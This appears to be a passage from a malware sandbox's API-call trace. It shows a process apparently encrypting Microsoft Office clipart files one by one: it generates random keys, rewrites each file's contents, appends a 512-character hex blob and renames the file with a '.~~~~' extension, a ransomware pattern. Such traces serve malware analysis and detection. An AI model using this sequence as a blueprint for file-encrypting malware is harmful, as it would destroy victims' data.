	[0106.685] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.689] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.689] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.689] CloseHandle (hObject=0x120) returned 1
	[0106.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.689] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.~~~~")) returned 1
	[0106.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.690] GetLastError () returned 0x0
	[0106.691] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.692] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.692] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.693] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22668280436) returned 1
	[0106.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9443e70, dwHighDateTime=0x1d60e1e)) 
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dc58
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dc58 | out: hHeap=0x300000) returned 1
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28741e0
	[0106.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.694] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.694] GetLastError () returned 0x0
	[0106.694] GetLastError () returned 0x0
	[0106.694] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.694] GetLastError () returned 0x0
	[0106.694] GetLastError () returned 0x0
	[0106.698] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff6176, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.698] WriteFile (in: hFile=0x120, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x9e8a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x25dfec0*=0x9e8a, lpOverlapped=0x0) returned 1
	[0106.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
	[0106.700] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.700] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.700] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.700] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.701] CloseHandle (hObject=0x120) returned 1
	[0106.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.~~~~")) returned 1
	[0106.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.702] GetLastError () returned 0x0
	[0106.703] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.704] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.704] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.705] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22669470062) returned 1
	[0106.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9469fd0, dwHighDateTime=0x1d60e1e)) 
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2cd0
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2cd0 | out: hHeap=0x300000) returned 1
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874278
	[0106.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.705] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.706] GetLastError () returned 0x0
	[0106.706] GetLastError () returned 0x0
	[0106.706] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.706] GetLastError () returned 0x0
	[0106.706] GetLastError () returned 0x0
	[0106.725] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffda70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.725] WriteFile (in: hFile=0x120, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x25dfec0*=0x2590, lpOverlapped=0x0) returned 1
	[0106.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
	[0106.729] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.730] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.730] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.730] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.730] CloseHandle (hObject=0x120) returned 1
	[0106.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2350
	[0106.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.~~~~")) returned 1
	[0106.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.736] GetLastError () returned 0x0
	[0106.737] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.738] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.738] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.738] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22672858462) returned 1
	[0106.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa94b6290, dwHighDateTime=0x1d60e1e)) 
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dcc8
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dcc8 | out: hHeap=0x300000) returned 1
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2350
	[0106.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874310
	[0106.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.739] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.740] GetLastError () returned 0x0
	[0106.740] GetLastError () returned 0x0
	[0106.740] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.740] GetLastError () returned 0x0
	[0106.740] GetLastError () returned 0x0
	[0106.771] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff855a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.771] WriteFile (in: hFile=0x128, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x7aa6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x25dfec0*=0x7aa6, lpOverlapped=0x0) returned 1
	[0106.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
	[0106.772] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.773] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.773] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.773] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.773] CloseHandle (hObject=0x128) returned 1
	[0106.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.773] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.~~~~")) returned 1
	[0106.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.774] GetLastError () returned 0x0
	[0106.774] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2941fe8) returned 1
	[0106.775] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.776] CryptReleaseContext (hProv=0x2941fe8, dwFlags=0x0) returned 1
	[0106.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.776] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22676587686) returned 1
	[0106.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa95286b0, dwHighDateTime=0x1d60e1e)) 
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dd70
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dd70 | out: hHeap=0x300000) returned 1
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874440
	[0106.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.777] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.777] GetLastError () returned 0x0
	[0106.777] GetLastError () returned 0x0
	[0106.777] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.777] GetLastError () returned 0x0
	[0106.777] GetLastError () returned 0x0
	[0106.834] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb4aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.834] WriteFile (in: hFile=0x128, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x4b56, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x25dfec0*=0x4b56, lpOverlapped=0x0) returned 1
	[0106.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
	[0106.836] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.837] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.837] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.837] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.837] CloseHandle (hObject=0x128) returned 1
	[0106.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.~~~~")) returned 1
	[0106.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.839] GetLastError () returned 0x0
	[0106.840] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.841] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.841] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.841] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22683155635) returned 1
	[0106.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa95c0c30, dwHighDateTime=0x1d60e1e)) 
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dde0
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dde0 | out: hHeap=0x300000) returned 1
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874608
	[0106.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.842] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.843] GetLastError () returned 0x0
	[0106.843] GetLastError () returned 0x0
	[0106.843] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.843] GetLastError () returned 0x0
	[0106.843] GetLastError () returned 0x0
	[0106.941] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe842, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.941] WriteFile (in: hFile=0x128, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x17be, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x25dfec0*=0x17be, lpOverlapped=0x0) returned 1
